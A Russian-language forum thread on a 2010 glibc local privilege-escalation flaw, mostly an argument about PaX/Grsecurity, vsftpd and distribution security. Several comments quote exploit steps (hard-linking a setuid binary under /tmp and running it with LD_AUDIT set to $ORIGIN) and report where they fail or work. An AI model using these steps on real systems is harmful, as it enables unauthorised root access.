	> Не извиню. После "извините" вы продолжаете бессовестно хамить. Неа, бессовестно хамите тут как раз Вы, но очень уж уверены что именно Вы самый умный, а все остальные (начиная с BSD-шников, заканчивая доброй половиной линуксовых дистрибутивов) просто ламеры позорные, раз ещё не всунули себе PaX и несут бред. > Уязвимость в glob() - логическая и не приводит к компрометации. От чего защищать? Ну ну, вы ещё напишите что это фича такая и что её внедрять надо, а то мы тут бред несём, защищаться от этого хотим. От баги в glibc можно защититься прочитав нормальный хендбук - нечего юзерспейсу в / делать (причём в линухе это тоже прописаня истина, если Вы не домохозяйка мигрирующая с винды). Кроме vsftpd вы считаете все остальные ftp-сервера ненормальными судя по вашей же цитате? А то что бага в glob() влияет не только на ftp-сервер вы вообще в курсе?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	172. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от PereresusNeVlezaetBuggy (ok) on 20-Окт-10, 23:51
	>> Не извиню. После "извините" вы продолжаете бессовестно хамить. > Неа, бессовестно хамите тут как раз Вы, но очень уж уверены что > именно Вы самый умный, а все остальные (начиная с BSD-шников, заканчивая > доброй половиной линуксовых дистрибутивов) просто ламеры позорные, раз ещё не всунули > себе PaX и несут бред. Как ламер позорный, позволю себе всё же заметить, что тов. paxuser — действительно самый адекватный в этой ветке. >> Уязвимость в glob() - логическая и не приводит к компрометации. От чего защищать? > Ну ну, вы ещё напишите что это фича такая и что её > внедрять надо, а то мы тут бред несём, защищаться от этого > хотим. Ну, по крайней мере вы сейчас действительно бред несёте, с этим спорить не буду. > От баги в glibc можно защититься прочитав нормальный хендбук - нечего юзерспейсу > в / делать (причём в линухе это тоже прописаня истина, если > Вы не домохозяйка мигрирующая с винды). Ну будет — в случае того же анонимного FTP — chroot в /home/ftp, что изменится? Вы смешны. > Кроме vsftpd вы считаете все > остальные ftp-сервера ненормальными судя по вашей же цитате? Если все остальные сливают ему в данном аспекте, то — да, vsftpd будет самым нормальным. > А то что бага в glob() влияет не только на ftp-сервер вы вообще в > курсе? Вы вообще дальше своего носа видеть умеете?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	176. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от QuAzI (ok) on 21-Окт-10, 01:10
	Пардон? Человек тут на пол темы расписал, как хорош PaX и патчи для linux на основе того же PaX, а потом сам же сказал что в принципе от конкретной уязвимости он не спасает. Почему бы с ним не пофлеймить на эту тему, пока те кто шарит (без моей и его помощи) не поправят существующий код избавив от уязвимости всех? Я прекрасно понимаю что человек не машина, но проталкивать подпорки "чтобы хоть как-то не рассыпалось" вместо усиления средств разработки и отладки как-то грустно.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	178. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 01:31
	> Пардон? Человек тут на пол темы расписал, как хорош PaX и патчи > для linux на основе того же PaX, а потом сам же Не пардон. Вы до сих пор считаете, что я что-то расписывал в категориях хорошо-плохо. И это ваши проблемы, ко мне претензии не по адресу. > сказал что в принципе от конкретной уязвимости он не спасает. Почему Опять категории: спасает-не спасает. Вам, таки пардон, сколько лет? Не стыдно так поверхностно и грубо мыслить? PaX (особенно вместе с Grsecurity) часто "спасает" от компрометации, лишь в редких случаях "спасает" от DoS, но в основном он как раз сводит к DoS последствия от атак, которые в противном случае были бы более тяжкими: компрометация системы, повреждение и утечки данных. > бы с ним не пофлеймить на эту тему, пока те кто На имиджборды идите флеймить. > шарит (без моей и его помощи) не поправят существующий код избавив Без вашей уж точно. > от уязвимости всех? Я прекрасно понимаю что человек не машина, но Бла-бла-бла... > проталкивать подпорки "чтобы хоть как-то не рассыпалось" вместо усиления средств разработки > и отладки как-то грустно. Морали надо было читать 40 лет назад Ричи и Томпсону, теперь - только плакать, колоться и есть кактус.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	184. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от QuAzI (ok) on 21-Окт-10, 08:27
	> PaX (особенно вместе с Grsecurity) А ничего что Grsecurity основан на PaX? Это всё равно что написать "PaX вместе с PaX это и есть PaX". Вы так увлеклись этими двумя словами что уже просто не знаете куда их всунуть чтобы побольше?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	186. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 09:14
	>> PaX (особенно вместе с Grsecurity) > А ничего что Grsecurity основан на PaX? Это всё равно что написать [зеваю] Очередная несусветная глупость, уже даже почти немного смешная. Логики просто нет. Ну во-первых, если бы (да кабы) патч Grsecurity был "основан на PaX", как бы это помешало PaX существовать отдельно от Grsecurity (а не наоборот)? А никак: http://www.grsecurity.net/~paxguy1/ Во-вторых, эти два патча охватывают разные аспекты, дополняют друг друга с минимальной взаимной интеграцией и уже много лет выпускаются разработчиками в совмещённом виде. Откройте для себя interdiff. > "PaX вместе с PaX это и есть PaX". Очередной шедевр. Позорьтесь дальше, я помогу. > Вы так увлеклись этими двумя словами что уже просто не знаете куда > их всунуть чтобы побольше? Нет, это вы так ими увлеклись (причём сразу), что ничего больше не замечаете и либо там уже жиром истекли, либо действительно не в состоянии различать и усваивать информацию.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	173. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 00:17
	>> Не извиню. После "извините" вы продолжаете бессовестно хамить. > Неа, бессовестно хамите тут как раз Вы, но очень уж уверены что Где конкретно я хамил? > именно Вы самый умный, а все остальные (начиная с BSD-шников, заканчивая > доброй половиной линуксовых дистрибутивов) просто ламеры позорные, раз ещё не всунули > себе PaX и несут бред. Это ваши фантазии и трусливая попытка прировнять надуманный снобизм к хамству, чтобы оправдать своё хамство. >> Уязвимость в glob() - логическая и не приводит к компрометации. От чего защищать? > Ну ну, вы ещё напишите что это фича такая и что её > внедрять надо, а то мы тут бред несём, защищаться от этого > хотим. А зачем мне бред писать? Сами справляетесь. > От баги в glibc можно защититься прочитав нормальный хендбук - нечего Не всегда. Например, не на легковесном VPS. > юзерспейсу Очередная глупость. > в / делать (причём в линухе это тоже прописаня истина, если > Вы не домохозяйка мигрирующая с винды). Кроме vsftpd вы считаете все > остальные ftp-сервера ненормальными судя по вашей же цитате? А то что Да, все прочие, знакомые мне полнофункциональные фтп-серверы я считаю ненормальными (плохо спроектированными и написанными). > бага в glob() влияет не только на ftp-сервер вы вообще в > курсе? Вы сами-то в курсе, где, на что и как она "влияет"?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	174. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от QuAzI (ok) on 21-Окт-10, 00:45
	А где конкретно я хамил, конкретно Вам до вашего треда о том что я хам? У меня тоже такой своеобразный "надуманный снобизм", если это теперь так модно называть. >> От баги в glibc можно защититься прочитав нормальный хендбук - нечего >Не всегда. Например, не на легковесном VPS. Удачная шутка на ночь глядя. Если все так плохо спроектированы и написаны, напишите правильный ftp-сервер, раз вы видите "правильный" вариант. Вам потом спасибо скажут. Меня например vsftpd не устроил, да и не только меня судя по спискам компаний, чьи сервера были среди заявленных как уязвимые.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	175. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 01:06
	> А где конкретно я хамил, конкретно Вам до вашего треда о том > что я хам? У меня тоже такой своеобразный "надуманный снобизм", если > это теперь так модно называть. "вы выше _орали_ про аппаратную реализацию, а "аналоги" использовать уже другой темы разговор, ведь вы именно эту фичу тут хвалите, так _давайте, расхвалите мне её тут_." Вот здесь вы начали хамить, я подчеркнул. >>> От баги в glibc можно защититься прочитав нормальный хендбук - нечего >>Не всегда. Например, не на легковесном VPS. > Удачная шутка на ночь глядя. И в чём шутка? На легковесных VPS директории /tmp, /var и /home лежат на одном разделе c suid-экзешниками, смонтированном без nosuid. > Если все так плохо спроектированы и написаны, напишите правильный ftp-сервер, раз вы Он уже написан, это vsftpd. Он не идеален, но лучший по ряду важных качеств. > видите "правильный" вариант. Вам потом спасибо скажут. Меня например vsftpd не Не я один его вижу. Например, тут в обсуждении тихо и незаметно высказался Александр Песляк ака Solar Designer (юзер solardiz) - эксперт в сфере безопасности с мировым именем и один из ключевых разработчиков дистрибутива Openwall, в состав которого vsftpd интегрирован, как наиболее безопасный и при этом функциональный фтп-сервер. Попробуйте расспросить solardiz'а, если тема хороших и плохих фтп-серверов вас так волнует. > устроил, да и не только меня судя по спискам компаний, чьи > сервера были среди заявленных как уязвимые. С чего вы взяли, что их vsftpd не устроил? Они могли польститься на более широкий функционал в ProFTPd или, например, не захотели разбираться с PAM-аутентификацией в vsftpd.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	177. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от QuAzI (ok) on 21-Окт-10, 01:27
	_орали_ - а как ещё назвать тучу постов выше? _давайте, расхвалите мне её тут_- а это вообще креативное предложение, покажите мне реальную задачу в которой оно мне жизненно необходимо, раскройте мне серому глаза. > И в чём шутка? На легковесных VPS директории /tmp, /var и /home > лежат на одном разделе c suid-экзешниками, смонтированном без nosuid. Ну не хотите делать как хендбуке рекомендуется, будьте готовы к тому, о чём в хендбуке же предупреждают - к излишним проблемам. > Он уже написан, это vsftpd. Он не идеален, но лучший по ряду > важных качеств. Сделайте форк, напишите "идеальный". > Не я один его вижу. Например, тут в обсуждении тихо и незаметно Я думаю у Александра есть дела поважнее чем объяснять мне то что и так расписано, а заодно и поважнее чем флудить тут про PaX. Мне например его объяснение >Тут дело не в glibc vs. eglibc, а в опциях сборки. -DNDEBUG убирает assert'ы, которые, в >теории, на уже отлаженном коде не нужны. А реально - в данном случае помогали. То, что >срабатывает assert внутри glibc/eglibc - это признак наличия бага Вполне понятно и вполне понравилось. А ваши доводы про PaX как-то слабоваты. Почему сразу не DEP тогда уж? > С чего вы взяли, что их vsftpd не устроил? Они могли польститься > на более широкий функционал в ProFTPd или, например, не захотели разбираться > с PAM-аутентификацией в vsftpd. Точно. Надо пойти пожурить HP, Adobe, Oracle и прочих за то что PAM-аутентификацию не осилили.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	179. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 01:51
	> _орали_ - а как ещё назвать тучу постов выше? Высказывал мнение, аргументы, контраргументы, давал пояснения, повторял для особо невнимательных и ставил на место хамов. > _давайте, расхвалите мне её тут_- а это вообще креативное предложение, покажите мне > реальную задачу в которой оно мне жизненно необходимо, раскройте мне серому > глаза. Вы ещё ложкой по столу постучите и ножками потопайте - сразу прибегу и раскрою. Это не предложение, это панибратское требование, высказанное в пренебрежительном тоне - хамство, иными словами. > Ну не хотите делать как хендбуке рекомендуется, будьте готовы к тому, о > чём в хендбуке же предупреждают - к излишним проблемам. Клиент хочет, VPS-хостер не хочет. Велкам ту риел ворлд. > Сделайте форк, напишите "идеальный". Чтобы хама ублажить? Меня vsftpd устраивает. >> Не я один его вижу. Например, тут в обсуждении тихо и незаметно > Я думаю у Александра есть дела поважнее чем объяснять мне то что > и так расписано, а заодно и поважнее чем флудить тут про > PaX. Мне например его объяснение Знаете, у меня тоже есть дела поважнее, нежели переводить и пересказывать вам, хаму, содержимое http://pax.grsecurity.net/docs/ - потрудитесь закатать губу и хоть что-то сделать самостоятельно. > Вполне понятно и вполне понравилось. А ваши доводы про PaX как-то слабоваты. Да мне всё равно, можете хоть исходники на туалетной бумаге распечатаь. А мои доводы вы даже не поняли. Попробуйте их хотя бы для себя сформулировать. > Почему сразу не DEP тогда уж? Очередная глупость. > Точно. Надо пойти пожурить HP, Adobe, Oracle и прочих за то что > PAM-аутентификацию не осилили. Хотите юродствовать - журите. К чему вы мне этим списком тычете?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	185. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от QuAzI (ok) on 21-Окт-10, 08:30
	> Знаете, у меня тоже есть дела поважнее Не похоже, ой не похоже.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	187. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 09:14
	>> Знаете, у меня тоже есть дела поважнее > Не похоже, ой не похоже. Ну вам виднее, конечно. :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	188. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от QuAzI (ok) on 21-Окт-10, 16:21
	Можно немножко откровения? Почему у Вас PaX даже в никнейме?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	189. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 21-Окт-10, 17:58
	> Можно немножко откровения? Почему у Вас PaX даже в никнейме? Это скорее подпись, которая звучит проще, чем grsecuser или grsecurityuser, а суть отражает примерно ту же, чтобы люди с толикой кругозора могли догадаться, что я пользуюсь тем, о чём говорю.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	19. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним (??) on 19-Окт-10, 16:08
	>позволяющая любому _локальному_ пользователю получить привилегии суперпользователя вот так
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	51. "В Glibc обнаружена серьезная уязвимость"	–1 +/–
	Сообщение от ы on 19-Окт-10, 17:25
	>Покажи свой IP  и ты узнаешь как страшно , вернее ты и не заметишь как всё закончится ;) Сетка класса А: 127.0.0.0/8, выбери любой из 16'777'214 айпишников.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	81. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним2 on 19-Окт-10, 19:41
	Твои пинги я действительно заметить не успею.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

5. "В Glibc обнаружена серьезная уязвимость"	+3 +/–
Сообщение от V (??) on 19-Окт-10, 15:33
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 Inconsistency detected by ld.so: dl-open.c: 266: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed! Connection to board-gw closed. не судьба..
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	25. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от h4tr3d (ok) on 19-Окт-10, 16:24
	Аналогично, это в консольке, xterm просто закрылся. может shell тоже имеет значение?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	32. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Rain (??) on 19-Окт-10, 16:40
	Нет, перенаправь вывод ошибок в файл и увидишь то же самое
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	151. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от User294 (ok) on 20-Окт-10, 15:49
	> Нет, перенаправь вывод ошибок в файл и увидишь то же самое Можно просто шелл в шелле запустить. Когда чайлдовый шелл помрет, вы вывалитесь в парент, сообщение о том почему сдох чайлд ессно будет видно. ИМХО так проще - ошибка вываливается в том же месте, не надо ни в каких файлах копаться где-то сбоку.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

6. "В Glibc обнаружена серьезная уязвимость"	+2 +/–
Сообщение от Аноним (??) on 19-Окт-10, 15:36
на шаге $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 шелл упал дистр OpenSUSE 11.3
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	83. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от killer1804 (??) on 19-Окт-10, 20:12
	[user0@homelinux ~]$ uname -a Linux homelinux 2.6.35-ARCH .... шел упал. аналогично
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

8. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Egres (ok) on 19-Окт-10, 15:38
$ mkdir /tmp/exploit $ ln /bin/ping /tmp/exploit/target ln: создание жесткой ссылки `/tmp/exploit/target' => `/bin/ping': Операция не позволяется Ubuntu 10.10, /tmp не является отдельной fs
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	49. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от tallman on 19-Окт-10, 17:24
	и в логе такая штука $ tail -1 /var/log/messages Oct 19 16:17:21 machine kernel: [226597.124722] non-accessible hardlink creation was attempted by: ln (fsuid 1000) Даже как-то скучно быть неподверженным..
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

9. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от paxuser on 19-Окт-10, 15:40
Кстати, в Grsecurity по умолчанию включены запреты пользователям на создание хардлинков на чужие файлы.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

11. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 19-Окт-10, 15:40
Исправления нет - как так?!
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	28. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Andrey Mitrofanov on 19-Окт-10, 16:36
	Заголовок, "обнаружена". Вопросы?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

12. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от bircoph on 19-Окт-10, 15:46
В Gentoo у меня FEATURES="sfperms", что ставит права go-r на все suid файлы. Так что эксплойт не работает и я в безопасности )).
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	15. "В Glibc обнаружена серьезная уязвимость"	–2 +/–
	Сообщение от paxuser on 19-Окт-10, 15:57
	> В Gentoo у меня FEATURES="sfperms", что ставит права go-r на все suid > файлы. > Так что эксплойт не работает и я в безопасности )). У вас в Gentoo месяцами обновления безопасности не выпускаются - посмотрите хотя бы на даты в ChangeLog MySQL в основном дереве Portage. Уровень защищённости приемлемый только в полноценном Hardened.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	20. "В Glibc обнаружена серьезная уязвимость"	+2 +/–
	Сообщение от Аноним (??) on 19-Окт-10, 16:11
	emerge --sync по чаще делай
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	24. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 19-Окт-10, 16:20
	> emerge --sync по чаще делай Между прочим, emerge --sync подвержен MitM-атакам. Давно перешёл на emerge-webrsync вкупе с webrsync-gpg FEATURE. Нахамить-то любой может, вы для начала попробуйте осилить анализ содержимого /usr/portage/dev-db/mysql/ChangeLog с датой публикации бюллитеней безопасности и выходом исправленных версий MySQL.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	136. "В Glibc обнаружена серьезная уязвимость"	–1 +/–
	Сообщение от anonymous (??) on 20-Окт-10, 13:40
	Паранойя головного мозга во все поля.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	143. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 14:36
	> Паранойя головного мозга во все поля. Блажен, кто верует, знание же преумножает скорбь. :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	34. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от bircoph on 19-Окт-10, 16:43
	Я mysql не пользуюсь, так что меня это не волнует. GLSA по критическим уязвимостям быстро выходят.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	38. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 19-Окт-10, 16:49
	> Я mysql не пользуюсь, так что меня это не волнует. GLSA по > критическим уязвимостям быстро выходят. О скорости выхода GLSA - это вы на #gentoo-security расскажите, чтобы разработчики тоже порадовались: проблема-то надуманная, оказывается.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	77. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от maxkit (ok) on 19-Окт-10, 19:18
	> Я mysql не пользуюсь Ну и аргументы.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

16. "В Glibc обнаружена серьезная уязвимость"	+3 +/–
Сообщение от Толстый (ok) on 19-Окт-10, 16:02
на CentOS 5 сработало!
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

18. "В Glibc обнаружена серьезная уязвимость"	+/–
Сообщение от Аноним (??) on 19-Окт-10, 16:03
на третьем шаге уже не дает $ exec 3 < /tmp/exploit/target bash: /tmp/exploit/target: Отказано в доступе
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	21. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от Вова on 19-Окт-10, 16:12
	> на третьем шаге уже не дает > $ exec 3 < /tmp/exploit/target > bash: /tmp/exploit/target: Отказано в доступе +1, на двух гентах пытался, дома  и на работе
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	82. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от ozs (ok) on 19-Окт-10, 20:02
	****@***:~$ mkdir /tmp/exploit ****@***:~$ ln /bin/ping /tmp/exploit/target ****@***:~$ exec 3< /tmp/exploit/target bash: /tmp/exploit/target: Отказано в доступе На Slackware 13.1
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	96. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Ytch on 19-Окт-10, 22:37
	По умолчанию на Zenwalk 6.4 аналогично. Если на /bin/ping рутом дать права на чтение и проделать все еще раз, то закрывается терминал как писали выше.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

26. "В Glibc обнаружена серьезная уязвимость"	–2 +/–
Сообщение от svchost (ok) on 19-Окт-10, 16:29
Насквозь дырявое ядро, если при уязвимости в какой-нибудь библиотеке можно заполучить root. Такое впечатление, что в оффтопике ядро вылизано настолько, что там нет никаких уязвимостей. По крайней мере я не знаю способов заполучить привилегии админа в давно вышедшей XP SP3 не говоря уже о семерке. Сильно не пинайте, но иногда такие мысли возникают.
Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	31. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним (??) on 19-Окт-10, 16:38
	> Насквозь дырявое ядро, если при уязвимости в какой-нибудь библиотеке можно заполучить root. Такое впечатление, что в оффтопике ядро вылизано настолько, что там нет никаких уязвимостей. По крайней мере я не знаю способов заполучить привилегии админа в давно вышедшей XP SP3 не говоря уже о семерке. Сильно не пинайте, но иногда такие мысли возникают. В ХР необходимости не было получать такой доступ. Зловреды и так работали. Поэтому никто и не интересовался.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	35. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от name (??) on 19-Окт-10, 16:44
	вирусы типа kido отлично знают, в отличие от вас.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	59. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от User294 (ok) on 19-Окт-10, 17:55
	> Насквозь дырявое ядро, если при уязвимости в какой-нибудь библиотеке можно заполучить root. Господи, что вы там курите если не понимаете разницы между ядром и либой+привилегированной программой? Можно подумать что в XP нельзя поиметь повышенные права не через ядро а долбанув привилегированный сервис сплойтом. Можете даже нагуглить примеры сплойтов. Алсо подумайте почему в виндах сервисам как правило не разрешают взаимодействовать с десктопом. Или поRTFMайте, узнаете для себя много нового, в том числе насчет фирменных дебилизмов винапи и прочая :) > Такое впечатление, что в оффтопике ядро вылизано настолько, что там нет никаких уязвимостей. Угу, особенно анимированные курсоры в ядре были не багом а фичой :).И синий скрин от оверсайзнутой картинки в атевых и интельских дровах - тоже наверное не проблема. А вы сайты по уязвимостям вообще читаете? > По крайней мере я не знаю способов заполучить привилегии > админа в давно вышедшей XP SP3 не говоря уже о семерке. Вы - не знаете. А вы их искали? Или это по методу страуса - если не вижу, значит не съедят? :).Субъективно кстати у виндов их система прав намного сложнее. Поэтому не удивлюсь если там тоже какие-то косяки в их обработке накопаются. > Сильно не пинайте, но иногда такие мысли возникают. А какими фактами они подкреплены? XP по дефолту вообще не секурна. Дефолтовый  юзер - тупо админ. Поднимать права ему нафиг не надо, они и так уже все есть :). Пачка сервисов - под SYSTEM, так что любой мсбласт долбанувший такой сервис - сразу же имеет систему от  и до и волен в ней делать что угодно. В висте/семерке кой-какие меры сделали, но как обычно в духе MS - т.е. гланды удаляются через жопу, автогеном.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	68. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Зилибоба (ok) on 19-Окт-10, 18:41
	чтоб глупости в голову не лезли, нужно больше читать умных статей, например, http://www.microsoft.com/technet/security/advisory/2269637.mspx.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	79. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Пользователь Debian on 19-Окт-10, 19:34
	"Server Error in '/technet' Application." Кажется, Вы запостили в этом URL'е эксплойт IIS!!!111
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	108. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Аноним (??) on 20-Окт-10, 00:30
	точку в конце адреса убери
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	109. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Митра on 20-Окт-10, 00:31
	там точка в конце лишняя.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	93. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от User294 (ok) on 19-Окт-10, 22:26
	А это вообще лулзов пачка :). Более того - была еще фича: предложить юзеру скачать DLL :).А потом ... потом когда юзер ее скачает, при старте фурифокса она поюзается *до* системной библы с таким же именем. При чем дыра была специфичная для винды почему-то. Видимо остальные системы не настолько "умны" чтобы на свой зад искать и грузить либы откуда попало (current directory?). P.S. алсо, говорят что stuxnet пробивает винду от просто факта втыкания флехи. Какая-то дыра в обработке ярлыков, чтоли. Прямо так, без старта программы авторана даже, просто воткнули - и вас поимели. Что-то из этого вроде даже до сих пор не запатчено если меня не подводит склероз по части секурити уведомлений. Читайте сайты по секурити в общем - узнаете много нового. Спокойно спать перестанете заодно :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	133. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Добрый Аноним on 20-Окт-10, 11:53
	> А это вообще лулзов пачка :). Более того - была еще фича: > предложить юзеру скачать DLL :).А потом ... потом когда юзер ее > скачает, при старте фурифокса она поюзается *до* системной библы с таким > же именем. При чем дыра была специфичная для винды почему-то. Видимо > остальные системы не настолько "умны" чтобы на свой зад искать и > грузить либы откуда попало (current directory?). ага, щаз. читайте сводки уязвимостей не только с опеннета и будете знать что та же дыра и в лунухах имеет(ла) место быть.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	137. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Зилибоба (ok) on 20-Окт-10, 13:42
	>> А это вообще лулзов пачка :). Более того - была еще фича: >> предложить юзеру скачать DLL :).А потом ... потом когда юзер ее >> скачает, при старте фурифокса она поюзается *до* системной библы с таким >> же именем. При чем дыра была специфичная для винды почему-то. Видимо >> остальные системы не настолько "умны" чтобы на свой зад искать и >> грузить либы откуда попало (current directory?). > ага, щаз. читайте сводки уязвимостей не только с опеннета и будете знать > что та же дыра и в лунухах имеет(ла) место быть. Во первых - была, а во вторых, пруф давайте.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	144. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Добрый Аноним on 20-Окт-10, 14:37
	> Во первых - была, а во вторых, пруф давайте. Во первых не "была", такие баги постоянно появляются от приложения к приложению и сказать, что больше таких багов не будет, все равно, что пальцем в небо. Точно так же как и сказать, что эта бага только win систем - может, ну не знаю, наверное только юзер294. Вот, кстати, такими багами страдают не только linux и win, но так же: и aix, и соляра, и маки. И это мелочь, когда по относительному пути подгружают либы, иные программы вообще запускают УТИЛИТЫ по относительному пути. Во вторых, у вас интернет отобрали, что пруфы просите? вот например: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3374 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0426 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0302 хватит? В третьих: если не ошибаюсь, то видел сводку о такой уязвимости не только для ff for win, но и в для ff for linux, но искать эту сводку лень, путь я вам задал, дальше вы уж сами...
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	139. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 14:15
	> ага, щаз. читайте сводки уязвимостей не только с опеннета и будете знать > что та же дыра и в лунухах имеет(ла) место быть. Не в "лунухах", а в Debian. Этот дистрибутив давно себя "зарекомендовал".
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	145. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от Добрый Аноним on 20-Окт-10, 14:40
	>> ага, щаз. читайте сводки уязвимостей не только с опеннета и будете знать >> что та же дыра и в лунухах имеет(ла) место быть. > Не в "лунухах", а в Debian. Этот дистрибутив давно себя "зарекомендовал". да какая разница? главное, что это проблема не только вин система, как некоторые тут утверждают.
